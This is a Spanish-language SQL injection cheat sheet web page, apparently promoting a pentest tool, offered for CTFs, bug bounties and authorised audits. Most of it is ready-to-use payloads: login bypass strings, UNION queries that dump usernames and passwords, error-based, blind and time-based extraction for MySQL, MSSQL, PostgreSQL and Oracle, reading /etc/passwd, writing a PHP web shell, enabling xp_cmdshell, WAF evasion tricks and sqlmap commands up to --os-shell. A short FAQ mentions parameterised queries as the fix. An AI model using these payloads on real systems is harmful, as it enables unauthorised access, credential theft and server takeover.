Inyección SQL — Cheatsheet 2026

Todos los payloads SQLi que necesitas — bypass de autenticación, UNION, error-based, blind boolean y time-based — con sintaxis MySQL, MSSQL, PostgreSQL y Oracle, trucos de bypass WAF y sqlmap. Para CTF, bug bounty y auditorías web autorizadas.

Última actualización:

¿Principiante? Lee nuestra guía completa para empezar y sitúa la inyección web en la metodología.

Navegación rápida

01 Detección 02 Bypass de autenticación 03 UNION-based 04 Error-based 05 Blind boolean 06 Time-based 07 Sintaxis por SGBD 08 RCE & acceso a archivos 09 Bypass WAF 10 sqlmap

# Detección

Primero confirma que el parámetro es inyectable. Rompe la consulta y luego demuestra el control con lógica booleana.

'
Una comilla simple — un error SQL o un 500 sugiere inyección
' OR '1'='1
Siempre verdadero — devuelve filas extra/todas si es inyectable
' AND '1'='2
Siempre falso — una respuesta distinta confirma el control
1 OR 1=1 -- -
Contexto numérico (sin comillas) con un comentario para matar el resto
1' ORDER BY 1-- - → ORDER BY 2, 3, ...
Incrementar hasta un error para contar las columnas
💡 Estilos de comentario: -- - (¡espacio después!), # (MySQL), /* */ (inline). Codifica en URL # como %23.

# Bypass de autenticación

Bypass de login clásico — comenta la verificación de contraseña o fuerza la cláusula WHERE a verdadero.

admin' -- -
Entrar como admin comentando la verificación de contraseña
admin' #
Misma idea con un comentario MySQL
' OR 1=1 -- -
Forzar la cláusula WHERE a verdadero → entrar como el primer usuario
' OR '1'='1' -- -
Variante con comillas equilibradas
') OR ('1'='1' -- -
Cuando la entrada está envuelta en paréntesis

# Inyección UNION-based

Devuelve tus propios datos en la respuesta. Iguala el número de columnas, encuentra las reflejadas y luego extrae.

' UNION SELECT NULL-- - → NULL,NULL-- - → ...
Añadir NULL hasta que no haya error para igualar el número de columnas
' UNION SELECT 1,2,3-- -
Usar números para ver qué columnas se reflejan en la página
' UNION SELECT NULL,version(),database()-- -
Filtrar la versión y la base actual (MySQL/PostgreSQL)
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
Enumerar nombres de tablas
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
Enumerar columnas de una tabla
' UNION SELECT username,password FROM users-- -
Volcar credenciales
' UNION SELECT NULL,group_concat(username,0x3a,password) FROM users-- -
MySQL — empacar muchas filas en un solo campo

# Inyección error-based

Filtra datos dentro de los mensajes de error cuando la app muestra los errores SQL.

' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
MySQL — filtrar vía error de función XML
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
MySQL — otro extractor error-based
' AND 1=CONVERT(int,(SELECT @@version))-- -
MSSQL — el error de conversión de tipo filtra la versión
' AND 1=CAST((SELECT current_database()) AS int)-- -
PostgreSQL — el error de cast filtra el nombre de la base

# Blind boolean-based

Sin salida ni errores — infiere los datos a partir de las diferencias verdadero/falso en la respuesta.

' AND 1=1-- - vs ' AND 1=2-- -
Baseline: ¿cambia la página entre verdadero y falso?
' AND (SELECT SUBSTRING(version(),1,1))='8'-- -
Probar la versión del SGBD un carácter a la vez
' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)>77-- -
Búsqueda binaria de un carácter por su valor ASCII
' AND (SELECT COUNT(*) FROM users)>5-- -
Inferir el número de filas

# Time-based ciega

Sin diferencia visible alguna — haz que el servidor pause cuando una condición es verdadera.

' AND SLEEP(5)-- -
MySQL — un retraso de 5s confirma la inyección
' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users LIMIT 1)>77,SLEEP(3),0)-- -
MySQL — retraso condicional para extraer un carácter
'; WAITFOR DELAY '0:0:5'-- -
MSSQL — retraso temporal
' AND (SELECT pg_sleep(5))-- -
PostgreSQL — retraso temporal
' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))x)-- -
MySQL — forma de subconsulta cuando SLEEP se filtra directamente

# Sintaxis por SGBD

Lo esencial difiere según el SGBD. Haz fingerprint primero, luego usa las funciones correctas.

TareaMySQLMSSQL / PostgreSQL
Versiónversion()@@version / version()
Base actualdatabase()DB_NAME() / current_database()
Usuario actualuser()SYSTEM_USER / current_user
Concatenarconcat(a,b) / 0x3aa+b / a||b
Comentario-- - o #-- - o /* */
SleepSLEEP(5)WAITFOR DELAY / pg_sleep(5)
SELECT schema_name FROM information_schema.schemata
Listar bases/esquemas (MySQL, PostgreSQL, MSSQL)
SELECT name FROM master..sysdatabases
MSSQL — listar las bases

# RCE & acceso a archivos

Escala del robo de datos a la lectura de archivos o ejecución de comandos cuando la config de la base lo permite.

' UNION SELECT LOAD_FILE('/etc/passwd')-- -
MySQL — leer un archivo (requiere el privilegio FILE)
' UNION SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php'-- -
MySQL — escribir un web shell (requiere FILE + ruta escribible)
'; EXEC xp_cmdshell 'whoami'-- -
MSSQL — ejecución de comandos si xp_cmdshell está habilitado
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -
MSSQL — habilitar primero xp_cmdshell (requiere sysadmin)

# Bypass WAF

Cuando un WAF bloquea los payloads obvios, ofusca. Muy dependiente del contexto — prueba combinaciones.

'/**/OR/**/1=1-- -
Comentarios inline en lugar de espacios
' oR 1=1-- - / ' UnIoN SeLeCt ...
Mayúsculas mixtas para vencer los filtros de palabras clave
%2527 / %2b / doble-URL-encoding
Doble codificación URL para colarse tras los decodificadores
UNIUNIONON SELSELECTECT
Palabras clave anidadas — sobrevive a los filtros que quitan una vez
' OR 1 LIKE 1-- - / ' OR 1 BETWEEN 0 AND 2-- -
Operadores alternativos cuando = está bloqueado

# Automatización con sqlmap

Automatiza la detección y la explotación. Ejecuta siempre solo contra objetivos autorizados.

sqlmap -u "http://site/page?id=1" --batch
Detectar y explotar automáticamente un parámetro GET
sqlmap -r request.txt --batch
Usar una petición Burp guardada (POST, cookies, cabeceras)
sqlmap -u URL --dbs
Listar las bases de datos
sqlmap -u URL -D shopdb --tables
Listar las tablas de una base
sqlmap -u URL -D shopdb -T users --dump
Volcar el contenido de una tabla
sqlmap -u URL --batch --level=5 --risk=3 --tamper=space2comment
Escaneo agresivo con un script tamper de bypass WAF
sqlmap -u URL --os-shell
Intentar una shell OS interactiva vía la base de datos

❓ FAQ Inyección SQL

Una vulnerabilidad web donde la entrada del usuario se concatena en una consulta SQL sin sanitización, permitiendo al atacante alterarla — para evadir auth, leer/modificar datos o a veces ejecutar comandos. Categoría Inyección del OWASP Top 10.

Inyecta una comilla simple ' y observa errores. Confirma con ' OR '1'='1 vs ' AND '1'='2 — respuestas distintas = inyectable. Para params numéricos, 1 OR 1=1 sin comillas. Solo en pruebas autorizadas.

In-band: UNION-based y error-based. Ciega: boolean-based y time-based. Out-of-band: exfil vía DNS/HTTP. Elige según la respuesta de la app.

Añade UNION SELECT para devolver tus datos en la salida. Encuentra el número de columnas (ORDER BY n), detecta las reflejadas y reemplázalas con datos (username/password/version()).

Cuando no hay salida ni error. Boolean-based lee las diferencias verdadero/falso; time-based usa SLEEP()/WAITFOR. Ambas extraen datos carácter a carácter — mejor con sqlmap.

sqlmap -u 'URL' --batch, o sqlmap -r request.txt para POST/auth. Luego --dbs, -D db --tables, -D db -T users --dump. Solo objetivos autorizados.

Comentarios inline (/**/), variación de mayúsculas, codificación URL/doble-URL, palabras clave anidadas, operadores alternativos. Los scripts tamper de sqlmap (--tamper=space2comment) automatizan muchos. Muy dependiente del contexto.

Las consultas parametrizadas (preparadas) son la corrección n°1 — la entrada nunca se concatena en el SQL. Añade cuentas de base con mínimo privilegio, listas blancas de entrada, un ORM y un WAF como defensa en profundidad. Nunca solo el escapado.

📚 Recursos relacionados

Informe de pentest asistido por IA

Convierte tus hallazgos SQLi en un informe PDF profesional. La IA rellena CVE, CVSS y severidad.

Probar gratis →

¿Quieres los 12 020+ comandos?

Esta cheatsheet de inyección SQL es solo una rama del mapa. Pentest Mindmap organiza 12 020+ comandos en 34 categorías — de recon a post-explotación — con búsqueda instantánea y copia en un clic.

Empezar gratis →